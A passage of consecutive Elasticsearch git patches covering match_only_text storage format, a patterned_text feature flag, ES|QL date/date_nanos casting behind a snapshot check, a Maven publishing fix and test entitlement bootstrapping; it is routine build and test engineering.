@@ -502,6 +534,7 @@ private String storedFieldNameForSyntheticSource() {
     private final boolean storeSource;
     private final FieldType fieldType;
     private final boolean withinMultiField;
+    private final boolean storedFieldInBinaryFormat;
 
     private MatchOnlyTextFieldMapper(
         String simpleName,
@@ -521,6 +554,7 @@ private MatchOnlyTextFieldMapper(
         this.positionIncrementGap = builder.analyzers.positionIncrementGap.getValue();
         this.storeSource = storeSource;
         this.withinMultiField = builder.withinMultiField;
+        this.storedFieldInBinaryFormat = builder.storedFieldInBinaryFormat;
     }
 
     @Override
@@ -530,7 +564,7 @@ public Map<String, NamedAnalyzer> indexAnalyzers() {
 
     @Override
     public FieldMapper.Builder getMergeBuilder() {
-        return new Builder(leafName(), indexCreatedVersion, indexAnalyzers, withinMultiField).init(this);
+        return new Builder(leafName(), indexCreatedVersion, indexAnalyzers, withinMultiField, storedFieldInBinaryFormat).init(this);
     }
 
     @Override
@@ -547,8 +581,12 @@ protected void parseCreateField(DocumentParserContext context) throws IOExceptio
         context.addToFieldNames(fieldType().name());
 
         if (storeSource) {
-            final var bytesRef = new BytesRef(utfBytes.bytes(), utfBytes.offset(), utfBytes.length());
-            context.doc().add(new StoredField(fieldType().storedFieldNameForSyntheticSource(), bytesRef));
+            if (storedFieldInBinaryFormat) {
+                final var bytesRef = new BytesRef(utfBytes.bytes(), utfBytes.offset(), utfBytes.length());
+                context.doc().add(new StoredField(fieldType().storedFieldNameForSyntheticSource(), bytesRef));
+            } else {
+                context.doc().add(new StoredField(fieldType().storedFieldNameForSyntheticSource(), value.string()));
+            }
         }
     }
 
diff --git a/modules/mapper-extras/src/test/java/org/elasticsearch/index/mapper/extras/MatchOnlyTextFieldMapperTests.java b/modules/mapper-extras/src/test/java/org/elasticsearch/index/mapper/extras/MatchOnlyTextFieldMapperTests.java
index cfbf3a338f691..ef72e234f8d6b 100644
--- a/modules/mapper-extras/src/test/java/org/elasticsearch/index/mapper/extras/MatchOnlyTextFieldMapperTests.java
+++ b/modules/mapper-extras/src/test/java/org/elasticsearch/index/mapper/extras/MatchOnlyTextFieldMapperTests.java
@@ -26,8 +26,10 @@
 import org.apache.lucene.tests.index.RandomIndexWriter;
 import org.apache.lucene.util.BytesRef;
 import org.elasticsearch.common.Strings;
+import org.elasticsearch.common.settings.Settings;
 import org.elasticsearch.core.Tuple;
 import org.elasticsearch.index.IndexSettings;
+import org.elasticsearch.index.IndexVersions;
 import org.elasticsearch.index.mapper.DocumentMapper;
 import org.elasticsearch.index.mapper.KeywordFieldMapper;
 import org.elasticsearch.index.mapper.LuceneDocument;
@@ -356,10 +358,14 @@ public void testStoreParameterDefaultsSyntheticSourceTextFieldIsMultiField() thr
     }
 
     public void testLoadSyntheticSourceFromStringOrBytesRef() throws IOException {
-        DocumentMapper mapper = createSytheticSourceMapperService(mapping(b -> {
+        var mappings = mapping(b -> {
             b.startObject("field1").field("type", "match_only_text").endObject();
             b.startObject("field2").field("type", "match_only_text").endObject();
-        })).documentMapper();
+        });
+        var settings = Settings.builder().put("index.mapping.source.mode", "synthetic").build();
+        DocumentMapper mapper = createMapperService(IndexVersions.UPGRADE_TO_LUCENE_10_2_2, settings, () -> true, mappings)
+            .documentMapper();
+
         try (Directory directory = newDirectory()) {
             RandomIndexWriter iw = indexWriterForSyntheticSource(directory);
 
diff --git a/server/src/main/java/org/elasticsearch/index/IndexVersions.java b/server/src/main/java/org/elasticsearch/index/IndexVersions.java
index 6ff33cf05d51f..2e464afa72b76 100644
--- a/server/src/main/java/org/elasticsearch/index/IndexVersions.java
+++ b/server/src/main/java/org/elasticsearch/index/IndexVersions.java
@@ -145,6 +145,7 @@ private static Version parseUnchecked(String version) {
     public static final IndexVersion MAPPER_TEXT_MATCH_ONLY_MULTI_FIELDS_DEFAULT_NOT_STORED_8_19 = def(8_533_0_00, Version.LUCENE_9_12_1);
     public static final IndexVersion UPGRADE_TO_LUCENE_9_12_2 = def(8_534_0_00, Version.LUCENE_9_12_2);
     public static final IndexVersion SPARSE_VECTOR_PRUNING_INDEX_OPTIONS_SUPPORT_BACKPORT_8_X = def(8_535_0_00, Version.LUCENE_9_12_2);
+    public static final IndexVersion MATCH_ONLY_TEXT_STORED_AS_BYTES_BACKPORT_8_X = def(8_536_0_00, Version.LUCENE_9_12_2);
     public static final IndexVersion UPGRADE_TO_LUCENE_10_0_0 = def(9_000_0_00, Version.LUCENE_10_0_0);
     public static final IndexVersion LOGSDB_DEFAULT_IGNORE_DYNAMIC_BEYOND_LIMIT = def(9_001_0_00, Version.LUCENE_10_0_0);
     public static final IndexVersion TIME_BASED_K_ORDERED_DOC_ID = def(9_002_0_00, Version.LUCENE_10_0_0);
@@ -178,6 +179,7 @@ private static Version parseUnchecked(String version) {
     public static final IndexVersion UPGRADE_TO_LUCENE_10_2_2 = def(9_030_0_00, Version.LUCENE_10_2_2);
     public static final IndexVersion SPARSE_VECTOR_PRUNING_INDEX_OPTIONS_SUPPORT = def(9_031_0_00, Version.LUCENE_10_2_2);
     public static final IndexVersion DEFAULT_DENSE_VECTOR_TO_BBQ_HNSW = def(9_032_0_00, Version.LUCENE_10_2_2);
+    public static final IndexVersion MATCH_ONLY_TEXT_STORED_AS_BYTES = def(9_033_0_00, Version.LUCENE_10_2_2);
 
     /*
      * STOP! READ THIS FIRST! No, really,

From f76fcb0f105b7c1e9c3209f8c5b178e2895a1cd2 Mon Sep 17 00:00:00 2001
From: Parker Timmins <parker.timmins@elastic.co>
Date: Wed, 2 Jul 2025 12:36:16 -0500
Subject: [PATCH 043/299] Add pattern_text feature flag to logsdb yaml tests
 (#130399) (#130479)

Patterned text yaml tests in logsdb plugin are failing as they assume the presence of the pattern_text type. Enable the feature flag for the tests.

(cherry picked from commit b38d5454ad6ed8ce2b87beeab628cfef3527bdcf)
---
 .../java/org/elasticsearch/index/mapper/MapperFeatures.java | 4 +++-
 .../java/org/elasticsearch/test/cluster/FeatureFlag.java    | 3 ++-
 .../org/elasticsearch/xpack/logsdb/LogsdbTestSuiteIT.java   | 1 +
 .../resources/rest-api-spec/test/patternedtext/10_basic.yml | 3 +++
 .../test/patternedtext/20_synthetic_source.yml              | 6 ++++++
 5 files changed, 15 insertions(+), 2 deletions(-)

diff --git a/server/src/main/java/org/elasticsearch/index/mapper/MapperFeatures.java b/server/src/main/java/org/elasticsearch/index/mapper/MapperFeatures.java
index 8817acf3b8e64..0c6a3dbd00e6e 100644
--- a/server/src/main/java/org/elasticsearch/index/mapper/MapperFeatures.java
+++ b/server/src/main/java/org/elasticsearch/index/mapper/MapperFeatures.java
@@ -45,6 +45,7 @@ public class MapperFeatures implements FeatureSpecification {
     static final NodeFeature IVF_FORMAT_CLUSTER_FEATURE = new NodeFeature("mapper.ivf_format_cluster_feature");
     static final NodeFeature IVF_NESTED_SUPPORT = new NodeFeature("mapper.ivf_nested_support");
     static final NodeFeature SEARCH_LOAD_PER_SHARD = new NodeFeature("mapper.search_load_per_shard");
+    static final NodeFeature PATTERNED_TEXT = new NodeFeature("mapper.patterned_text");
 
     @Override
     public Set<NodeFeature> getTestFeatures() {
@@ -76,7 +77,8 @@ public Set<NodeFeature> getTestFeatures() {
             IVF_FORMAT_CLUSTER_FEATURE,
             IVF_NESTED_SUPPORT,
             SEARCH_LOAD_PER_SHARD,
-            SPARSE_VECTOR_INDEX_OPTIONS_FEATURE
+            SPARSE_VECTOR_INDEX_OPTIONS_FEATURE,
+            PATTERNED_TEXT
         );
     }
 }
diff --git a/test/test-clusters/src/main/java/org/elasticsearch/test/cluster/FeatureFlag.java b/test/test-clusters/src/main/java/org/elasticsearch/test/cluster/FeatureFlag.java
index 8f25ee838b3a0..3916d8b89aebb 100644
--- a/test/test-clusters/src/main/java/org/elasticsearch/test/cluster/FeatureFlag.java
+++ b/test/test-clusters/src/main/java/org/elasticsearch/test/cluster/FeatureFlag.java
@@ -21,7 +21,8 @@ public enum FeatureFlag {
     DOC_VALUES_SKIPPER("es.doc_values_skipper_feature_flag_enabled=true", Version.fromString("8.18.1"), null),
     USE_LUCENE101_POSTINGS_FORMAT("es.use_lucene101_postings_format_feature_flag_enabled=true", Version.fromString("9.1.0"), null),
     IVF_FORMAT("es.ivf_format_feature_flag_enabled=true", Version.fromString("9.1.0"), null),
-    LOGS_STREAM("es.logs_stream_feature_flag_enabled=true", Version.fromString("9.1.0"), null);
+    LOGS_STREAM("es.logs_stream_feature_flag_enabled=true", Version.fromString("9.1.0"), null),
+    PATTERNED_TEXT("es.patterned_text_feature_flag_enabled=true", Version.fromString("9.2.0"), null);
 
     public final String systemProperty;
     public final Version from;
diff --git a/x-pack/plugin/logsdb/src/yamlRestTest/java/org/elasticsearch/xpack/logsdb/LogsdbTestSuiteIT.java b/x-pack/plugin/logsdb/src/yamlRestTest/java/org/elasticsearch/xpack/logsdb/LogsdbTestSuiteIT.java
index acb146d2af542..9275c7936faff 100644
--- a/x-pack/plugin/logsdb/src/yamlRestTest/java/org/elasticsearch/xpack/logsdb/LogsdbTestSuiteIT.java
+++ b/x-pack/plugin/logsdb/src/yamlRestTest/java/org/elasticsearch/xpack/logsdb/LogsdbTestSuiteIT.java
@@ -34,6 +34,7 @@ public class LogsdbTestSuiteIT extends ESClientYamlSuiteTestCase {
         .setting("xpack.license.self_generated.type", "trial")
         .feature(FeatureFlag.DOC_VALUES_SKIPPER)
         .feature(FeatureFlag.USE_LUCENE101_POSTINGS_FORMAT)
+        .feature(FeatureFlag.PATTERNED_TEXT)
         .build();
 
     public LogsdbTestSuiteIT(@Name("yaml") ClientYamlTestCandidate testCandidate) {
diff --git a/x-pack/plugin/logsdb/src/yamlRestTest/resources/rest-api-spec/test/patternedtext/10_basic.yml b/x-pack/plugin/logsdb/src/yamlRestTest/resources/rest-api-spec/test/patternedtext/10_basic.yml
index e25a2d2e76a76..ba462b9db8ab7 100644
--- a/x-pack/plugin/logsdb/src/yamlRestTest/resources/rest-api-spec/test/patternedtext/10_basic.yml
+++ b/x-pack/plugin/logsdb/src/yamlRestTest/resources/rest-api-spec/test/patternedtext/10_basic.yml
@@ -1,4 +1,7 @@
 setup:
+  - requires:
+      cluster_features: [ "mapper.patterned_text" ]
+      reason: "patterned_text mappings are used in this test"
 
   - do:
       indices.create:
diff --git a/x-pack/plugin/logsdb/src/yamlRestTest/resources/rest-api-spec/test/patternedtext/20_synthetic_source.yml b/x-pack/plugin/logsdb/src/yamlRestTest/resources/rest-api-spec/test/patternedtext/20_synthetic_source.yml
index a21ee18ac6424..67f2de4b31332 100644
--- a/x-pack/plugin/logsdb/src/yamlRestTest/resources/rest-api-spec/test/patternedtext/20_synthetic_source.yml
+++ b/x-pack/plugin/logsdb/src/yamlRestTest/resources/rest-api-spec/test/patternedtext/20_synthetic_source.yml
@@ -1,3 +1,9 @@
+setup:
+  - requires:
+      cluster_features: [ "mapper.patterned_text" ]
+      reason: "patterned_text mappings are used in this test"
+
+---
 simple:
   - do:
       indices.create:

From ae450befa28cef8a3e052758758f6e4ce34d84dd Mon Sep 17 00:00:00 2001
From: Parker Timmins <parker.timmins@elastic.co>
Date: Wed, 2 Jul 2025 12:39:35 -0500
Subject: [PATCH 044/299] Only run patterned_text mapper test if feature flag
 enabled (#130214) (#130480)

(cherry picked from commit f88aaa34e780b1556523c8c99eba8c7f2e36483a)

# Conflicts:
#	muted-tests.yml
---
 .../logsdb/patternedtext/PatternedTextFieldMapperTests.java | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/x-pack/plugin/logsdb/src/test/java/org/elasticsearch/xpack/logsdb/patternedtext/PatternedTextFieldMapperTests.java b/x-pack/plugin/logsdb/src/test/java/org/elasticsearch/xpack/logsdb/patternedtext/PatternedTextFieldMapperTests.java
index 2a707eafa285d..9b572e171bd96 100644
--- a/x-pack/plugin/logsdb/src/test/java/org/elasticsearch/xpack/logsdb/patternedtext/PatternedTextFieldMapperTests.java
+++ b/x-pack/plugin/logsdb/src/test/java/org/elasticsearch/xpack/logsdb/patternedtext/PatternedTextFieldMapperTests.java
@@ -40,6 +40,7 @@
 import org.elasticsearch.xcontent.XContentFactory;
 import org.elasticsearch.xpack.logsdb.LogsDBPlugin;
 import org.junit.AssumptionViolatedException;
+import org.junit.Before;
 
 import java.io.IOException;
 import java.util.Collection;
@@ -72,6 +73,11 @@ protected void assertExistsQuery(MappedFieldType fieldType, Query query, LuceneD
         assertNoFieldNamesField(fields);
     }
 
+    @Before
+    public void setup() {
+        assumeTrue("Only when patterned_text feature flag is enabled", PatternedTextFieldMapper.PATTERNED_TEXT_MAPPER.isEnabled());
+    }
+
     public void testExistsStandardSource() throws IOException {
         assertExistsQuery(createMapperService(fieldMapping(b -> b.field("type", "patterned_text"))));
     }

From e32af46594620b9e2b609ba412c4d9c2c488df84 Mon Sep 17 00:00:00 2001
From: Fang Xing <155562079+fang-xing-esql@users.noreply.github.com>
Date: Wed, 2 Jul 2025 14:28:43 -0400
Subject: [PATCH 045/299] [ESQL] Ensure date/date_nanos implicit casting rule
 behind snapshot (#130026) (#130482)

* put date date_nanos implicit casting rule behind snapshot
---
 docs/changelog/127797.yaml                    |  6 ---
 .../xpack/esql/analysis/Analyzer.java         | 52 ++++++++++++-------
 2 files changed, 34 insertions(+), 24 deletions(-)
 delete mode 100644 docs/changelog/127797.yaml

diff --git a/docs/changelog/127797.yaml b/docs/changelog/127797.yaml
deleted file mode 100644
index 8fca3da004130..0000000000000
--- a/docs/changelog/127797.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 127797
-summary: "Date nanos implicit casting in union types option #2"
-area: ES|QL
-type: enhancement
-issues:
- - 110009
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/analysis/Analyzer.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/analysis/Analyzer.java
index f48c95397dcab..1b48ffd22b491 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/analysis/Analyzer.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/analysis/Analyzer.java
@@ -134,6 +134,7 @@
 import static java.util.Collections.emptyList;
 import static java.util.Collections.singletonList;
 import static org.elasticsearch.xpack.core.enrich.EnrichPolicy.GEO_MATCH_TYPE;
+import static org.elasticsearch.xpack.esql.action.EsqlCapabilities.Cap.IMPLICIT_CASTING_DATE_AND_DATE_NANOS;
 import static org.elasticsearch.xpack.esql.core.type.DataType.BOOLEAN;
 import static org.elasticsearch.xpack.esql.core.type.DataType.DATETIME;
 import static org.elasticsearch.xpack.esql.core.type.DataType.DATE_NANOS;
@@ -175,7 +176,7 @@ public class Analyzer extends ParameterizedRuleExecutor<LogicalPlan, AnalyzerCon
             new ResolveInference(),
             new ResolveLookupTables(),
             new ResolveFunctions(),
-            new DateMillisToNanosInEsRelation()
+            new DateMillisToNanosInEsRelation(IMPLICIT_CASTING_DATE_AND_DATE_NANOS.isEnabled())
         ),
         new Batch<>(
             "Resolution",
@@ -1819,10 +1820,6 @@ private static boolean canConvertOriginalTypes(MultiTypeEsField multiTypeEsField
 
         private static Expression typeSpecificConvert(ConvertFunction convert, Source source, DataType type, InvalidMappedField mtf) {
             EsField field = new EsField(mtf.getName(), type, mtf.getProperties(), mtf.isAggregatable());
-            return typeSpecificConvert(convert, source, field);
-        }
-
-        private static Expression typeSpecificConvert(ConvertFunction convert, Source source, EsField field) {
             FieldAttribute originalFieldAttr = (FieldAttribute) convert.field();
             FieldAttribute resolvedAttr = new FieldAttribute(
                 source,
@@ -1902,23 +1899,42 @@ private static LogicalPlan planWithoutSyntheticAttributes(LogicalPlan plan) {
      * Cast the union typed fields in EsRelation to date_nanos if they are mixed date and date_nanos types.
      */
     private static class DateMillisToNanosInEsRelation extends Rule<LogicalPlan, LogicalPlan> {
+
+        private final boolean isSnapshot;
+
+        DateMillisToNanosInEsRelation(boolean isSnapshot) {
+            this.isSnapshot = isSnapshot;
+        }
+
         @Override
         public LogicalPlan apply(LogicalPlan plan) {
-            return plan.transformUp(EsRelation.class, relation -> {
-                if (relation.indexMode() == IndexMode.LOOKUP) {
-                    return relation;
-                }
-                return relation.transformExpressionsUp(FieldAttribute.class, f -> {
-                    if (f.field() instanceof InvalidMappedField imf && imf.types().stream().allMatch(DataType::isDate)) {
-                        HashMap<ResolveUnionTypes.TypeResolutionKey, Expression> typeResolutions = new HashMap<>();
-                        var convert = new ToDateNanos(f.source(), f);
-                        imf.types().forEach(type -> typeResolutions(f, convert, type, imf, typeResolutions));
-                        var resolvedField = ResolveUnionTypes.resolvedMultiTypeEsField(f, typeResolutions);
-                        return new FieldAttribute(f.source(), f.parentName(), f.name(), resolvedField, f.nullable(), f.id(), f.synthetic());
+            if (isSnapshot) {
+                return plan.transformUp(EsRelation.class, relation -> {
+                    if (relation.indexMode() == IndexMode.LOOKUP) {
+                        return relation;
                     }
-                    return f;
+                    return relation.transformExpressionsUp(FieldAttribute.class, f -> {
+                        if (f.field() instanceof InvalidMappedField imf && imf.types().stream().allMatch(DataType::isDate)) {
+                            HashMap<ResolveUnionTypes.TypeResolutionKey, Expression> typeResolutions = new HashMap<>();
+                            var convert = new ToDateNanos(f.source(), f);
+                            imf.types().forEach(type -> typeResolutions(f, convert, type, imf, typeResolutions));
+                            var resolvedField = ResolveUnionTypes.resolvedMultiTypeEsField(f, typeResolutions);
+                            return new FieldAttribute(
+                                f.source(),
+                                f.parentName(),
+                                f.name(),
+                                resolvedField,
+                                f.nullable(),
+                                f.id(),
+                                f.synthetic()
+                            );
+                        }
+                        return f;
+                    });
                 });
-            });
+            } else {
+                return plan;
+            }
         }
     }
 

From 338628416b3a54af3154be6418dce8bebea84aae Mon Sep 17 00:00:00 2001
From: Fang Xing <155562079+fang-xing-esql@users.noreply.github.com>
Date: Wed, 2 Jul 2025 14:43:15 -0400
Subject: [PATCH 046/299] ES|QL fix StatementParserTests to take into
 consideration SNAPSHOT (#130098) (#130458)

(cherry picked from commit 78eeeccb48fe33fa319e1a2f1122b557a509bf66)

Co-authored-by: Luigi Dell'Aquila <luigi.dellaquila@gmail.com>
---
 .../elasticsearch/xpack/esql/parser/StatementParserTests.java   | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/parser/StatementParserTests.java b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/parser/StatementParserTests.java
index 108059ac2c883..c9d51142c1208 100644
--- a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/parser/StatementParserTests.java
+++ b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/parser/StatementParserTests.java
@@ -3176,7 +3176,7 @@ public void testValidJoinPattern() {
     }
 
     public void testInvalidFromPatterns() {
-        var sourceCommands = new String[] { "FROM", "TS" };
+        var sourceCommands = Build.current().isSnapshot() ? new String[] { "FROM", "TS" } : new String[] { "FROM" };
         var indexIsBlank = "Blank index specified in index pattern";
         var remoteIsEmpty = "remote part is empty";
         var invalidDoubleColonUsage = "invalid usage of :: separator";

From 23665c5bc0909a2ac94898f08dc18d95fca1427b Mon Sep 17 00:00:00 2001
From: Larisa Motova <larisa.motova@elastic.co>
Date: Wed, 2 Jul 2025 09:09:35 -1000
Subject: [PATCH 047/299] [ES|QL] Fix suggested_cast yaml test (#130404)
 (#130413)

The wrong capability name was being used in this yaml test
causing it to be skipped. This commit fixes that.
---
 .../resources/rest-api-spec/test/esql/160_union_types.yml | 8 +++-----
 1 file changed, 3 insertions(+), 5 deletions(-)

diff --git a/x-pack/plugin/src/yamlRestTest/resources/rest-api-spec/test/esql/160_union_types.yml b/x-pack/plugin/src/yamlRestTest/resources/rest-api-spec/test/esql/160_union_types.yml
index 3df912715434f..4e714a0c8eff6 100644
--- a/x-pack/plugin/src/yamlRestTest/resources/rest-api-spec/test/esql/160_union_types.yml
+++ b/x-pack/plugin/src/yamlRestTest/resources/rest-api-spec/test/esql/160_union_types.yml
@@ -913,8 +913,8 @@ suggested_type:
         - method: POST
           path: /_query
           parameters: []
-          capabilities: [recommended_cast]
-      reason: "uses recommended_cast"
+          capabilities: [suggested_cast, implicit_casting_date_and_date_nanos]
+      reason: "date and date_nanos should no longer produce suggested_cast column"
 
   - do:
       indices.create:
@@ -969,9 +969,7 @@ suggested_type:
   - match: { columns.0.original_types: ["aggregate_metric_double", "long"] }
   - match: { columns.0.suggested_cast: "aggregate_metric_double" }
   - match: { columns.1.name: "my_date" }
-  - match: { columns.1.type: "unsupported" }
-  - match: { columns.1.original_types: ["date_nanos", "datetime"] }
-  - match: { columns.1.suggested_cast: "date_nanos" }
+  - match: { columns.1.type: "date_nanos" }
   - match: { columns.2.name: "my_double" }
   - match: { columns.2.type: "double" }
   - is_false: columns.2.original_types

From 5b5fbe4abdcca0ca6aa1757b451e344973af2fe4 Mon Sep 17 00:00:00 2001
From: Rene Groeschke <rene@elastic.co>
Date: Wed, 2 Jul 2025 21:48:32 +0200
Subject: [PATCH 048/299] [Build] Fix maven-aggregation generation for shadowed
 artifacts (#130412) (#130459)

- Ensure we include sources and javadoc jar to maven publication

(cherry picked from commit 50d047471bc81d67b35016a1bd1b6eec9945464f)
---
 .../gradle/internal/conventions/PublishPlugin.java              | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/build-conventions/src/main/java/org/elasticsearch/gradle/internal/conventions/PublishPlugin.java b/build-conventions/src/main/java/org/elasticsearch/gradle/internal/conventions/PublishPlugin.java
index 9f96d4eafa33f..0ccb05e722447 100644
--- a/build-conventions/src/main/java/org/elasticsearch/gradle/internal/conventions/PublishPlugin.java
+++ b/build-conventions/src/main/java/org/elasticsearch/gradle/internal/conventions/PublishPlugin.java
@@ -175,6 +175,8 @@ private void addNameAndDescriptionToPom(Project project, NamedDomainObjectSet<Ma
     private static void configureWithShadowPlugin(Project project, MavenPublication publication) {
         var shadow = project.getExtensions().getByType(ShadowExtension.class);
         shadow.component(publication);
+        publication.artifact(project.getTasks().named("javadocJar"));
+        publication.artifact(project.getTasks().named("sourcesJar"));
     }
 
     private static void addScmInfo(XmlProvider xml, GitInfo gitInfo) {

From 59b714cf1841751326f339c951d098b911976992 Mon Sep 17 00:00:00 2001
From: Patrick Doyle <810052+prdoyle@users.noreply.github.com>
Date: Wed, 2 Jul 2025 16:17:34 -0400
Subject: [PATCH 049/299] Bootstrap entitlements for testing (#129268)
 (#130483)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

* Fix ExceptionSerializationTests to use getCodeSource instead of getResource.

Using getResource makes this sensitive to unrelated classpath entries,
such as the entitlement bridge library, that get prepended to the classpath.

* FIx logging tests to use org.elasticsearch.index instead of root logger.

Using the root logger makes this sensitive to unrelated
logging, such as from the entitlement library.

* Fix entitlement error message by stashing the module name in ModuleEntitlements.

Taking the actual module name from the class doesn't work in tests,
where those classes are loaded from the classpath and so their module
info is misleading.

* Ignore server locations whose representative class isn't loaded

* Partial initial implementation

* System properties: testOnlyClasspath and enableForTests

* Trivially allow some packages

* DEBUG: use TreeMap in TestScopeResolver for readability

* Special case bouncycastle for security plugin

* Add CONFIG to TestPathLookup

* Add the classpath to the source path list for every plugin

* Add @WithoutEntitlements to tests that run ES nodes

* Set es.entitlement.enableForTests for all libs

* Use @WithoutEntitlements on ingest plugin tests

* Substitute ALL-UNNAMED for module name in non-modular plugins

* Add missing entitlements found by unit tests

* Comment in TestScopeResolver

* Properly compute bridge jar location for patch-module

* Call out nonServerLibs

* Don't build two TestPathLookups

* More comments for meta-tests

* Remove redundant dependencies for bridgeJarConfig.

These are alread set in ElasticsearchJavaBasePlugin.

* Add bridge+agent dependencies only if those exist.

For serverless, those project dependencies don't exist, and we'll need
to add the dependencies differently, using Maven coordinates.

* [CI] Auto commit changes from spotless

* Pass testOnlyPath in environment instead of command line.

It's typically a very very long string, which made Windows angry.

* [CI] Auto commit changes from spotless

* Split testOnlyPathString at File.pathSeparator

* Use doFirst to delay setting testOnlyPath env var

* Trivially allow jimfs (??)

* Don't enforce entitlements on internalClusterTest for now

* Replace forbidden APIs

* Match testOnlyClasspath using URI instead of String.

We already get the "needle" in the form of a URI, so this skips
a step, and has the benefit of also working on Windows.

* [CI] Auto commit changes from spotless

* More forbidden APIs

* Disable configuration cache for LegacyYamlRestTestPluginFuncTest

* Strip carriage-return characters in expected output for ReleaseNotesGeneratorTest.

The template generator also strips these, so we need to do so to make this pass
on Windows.

Note that we use replace("\r", "") where the template generator uses
replace("\\r", ""). The latter didn't work for me when I tried it on Windows,
for reasons I'm not aware of.

* Move configureEntitlements to ElasticsearchTestBasePlugin as-is

* Use matching instead of if

* Remove requireNonNull

* Remove default configuration

* Set inputs instead of dependencies

* Use test.systemProperty

* Respond to PR comments

* Disable entitlement enforcement for ScopedSettingsTests.

This test works by altering the logging on the root logger.
With entitlements enabled, that will cause additional log statements to appear,
which interferes with the test.

* Address PR comments

* Moritz's configureJavaBaseModuleOptions

* Allow for entitlements not yet enforced in serverless

* fix entitlementBridge config after rename

* drop empty file collections

* Remove workaround in LegacyYamlRestTestPluginFuncTest

---------

Co-authored-by: elasticsearchmachine <infra-root+elasticsearchmachine@elastic.co>
Co-authored-by: Lorenzo Dematté <lorenzo.dematte@elastic.co>
Co-authored-by: Moritz Mack <mmack@apache.org>
---
 .../internal/ElasticsearchTestBasePlugin.java | 120 +++++++++++++++---
 .../release/ReleaseNotesGeneratorTest.java    |   2 +-
 .../gradle/test/TestBuildInfoPlugin.java      |   9 ++
 libs/build.gradle                             |  10 ++
 .../runtime/policy/PolicyCheckerImpl.java     |  14 +-
 .../runtime/policy/PolicyManager.java         |  19 ++-
 .../runtime/policy/PolicyManagerTests.java    |   2 +-
 .../attachment/AttachmentProcessorTests.java  |   2 +
 .../ingest/attachment/TikaDocTests.java       |   2 +
 .../ingest/attachment/TikaImplTests.java      |   2 +
 ...RegisteredDomainProcessorFactoryTests.java |   2 +
 .../RegisteredDomainProcessorTests.java       |   2 +
 .../bootstrap/Elasticsearch.java              |   9 +-
 .../ExceptionSerializationTests.java          |   4 +-
 .../bootstrap/EntitlementMetaTests.java       |  58 +++++++++
 .../WithEntitlementsOnTestCodeMetaTests.java  |  42 ++++++
 .../WithoutEntitlementsMetaTests.java         |  43 +++++++
 .../common/settings/ScopedSettingsTests.java  |   2 +
 .../index/engine/InternalEngineTests.java     |  30 ++---
 .../bootstrap/BootstrapForTesting.java        |  17 +++
 .../bootstrap/TestScopeResolver.java          |  26 +++-
 .../bootstrap/TestEntitlementBootstrap.java   | 108 ++++++++++++----
 .../runtime/policy/TestPathLookup.java        |  11 +-
 .../runtime/policy/TestPolicyManager.java     | 119 ++++++++++++++++-
 .../elasticsearch/test/ESIntegTestCase.java   |   1 +
 .../test/ESSingleNodeTestCase.java            |   1 +
 .../org/elasticsearch/test/ESTestCase.java    |  44 +++++++
 .../bootstrap/TestScopeResolverTests.java     |   5 +-
 .../policy/TestPolicyManagerTests.java        |  14 +-
 .../plugin-metadata/entitlement-policy.yaml   |   1 +
 .../plugin-metadata/entitlement-policy.yaml   |   1 +
 31 files changed, 628 insertions(+), 94 deletions(-)
 create mode 100644 server/src/test/java/org/elasticsearch/bootstrap/EntitlementMetaTests.java
 create mode 100644 server/src/test/java/org/elasticsearch/bootstrap/WithEntitlementsOnTestCodeMetaTests.java
 create mode 100644 server/src/test/java/org/elasticsearch/bootstrap/WithoutEntitlementsMetaTests.java

diff --git a/build-tools-internal/src/main/java/org/elasticsearch/gradle/internal/ElasticsearchTestBasePlugin.java b/build-tools-internal/src/main/java/org/elasticsearch/gradle/internal/ElasticsearchTestBasePlugin.java
index 9fbba42d09ad3..da72315521423 100644
--- a/build-tools-internal/src/main/java/org/elasticsearch/gradle/internal/ElasticsearchTestBasePlugin.java
+++ b/build-tools-internal/src/main/java/org/elasticsearch/gradle/internal/ElasticsearchTestBasePlugin.java
@@ -34,9 +34,11 @@
 import java.io.File;
 import java.util.List;
 import java.util.Map;
+import java.util.stream.Stream;
 
 import javax.inject.Inject;
 
+import static java.util.stream.Collectors.joining;
 import static org.elasticsearch.gradle.internal.util.ParamsUtils.loadBuildParams;
 import static org.elasticsearch.gradle.util.FileUtils.mkdirs;
 import static org.elasticsearch.gradle.util.GradleUtils.maybeConfigure;
@@ -173,6 +175,16 @@ public void execute(Task t) {
             // we use 'temp' relative to CWD since this is per JVM and tests are forbidden from writing to CWD
             nonInputProperties.systemProperty("java.io.tmpdir", test.getWorkingDir().toPath().resolve("temp"));
 
+            SourceSetContainer sourceSets = project.getExtensions().getByType(SourceSetContainer.class);
+            SourceSet mainSourceSet = sourceSets.findByName(SourceSet.MAIN_SOURCE_SET_NAME);
+            SourceSet testSourceSet = sourceSets.findByName(SourceSet.TEST_SOURCE_SET_NAME);
+            if ("test".equals(test.getName()) && mainSourceSet != null && testSourceSet != null) {
+                FileCollection mainRuntime = mainSourceSet.getRuntimeClasspath();
+                FileCollection testRuntime = testSourceSet.getRuntimeClasspath();
+                FileCollection testOnlyFiles = testRuntime.minus(mainRuntime);
+                test.doFirst(task -> test.environment("es.entitlement.testOnlyPath", testOnlyFiles.getAsPath()));
+            }
+
             test.systemProperties(getProviderFactory().systemPropertiesPrefixedBy("tests.").get());
             test.systemProperties(getProviderFactory().systemPropertiesPrefixedBy("es.").get());
 
@@ -205,46 +217,122 @@ public void execute(Task t) {
             }
 
             /*
-             *  If this project builds a shadow JAR than any unit tests should test against that artifact instead of
+             *  If this project builds a shadow JAR then any unit tests should test against that artifact instead of
              *  compiled class output and dependency jars. This better emulates the runtime environment of consumers.
              */
             project.getPluginManager().withPlugin("com.gradleup.shadow", p -> {
                 if (test.getName().equals(JavaPlugin.TEST_TASK_NAME)) {
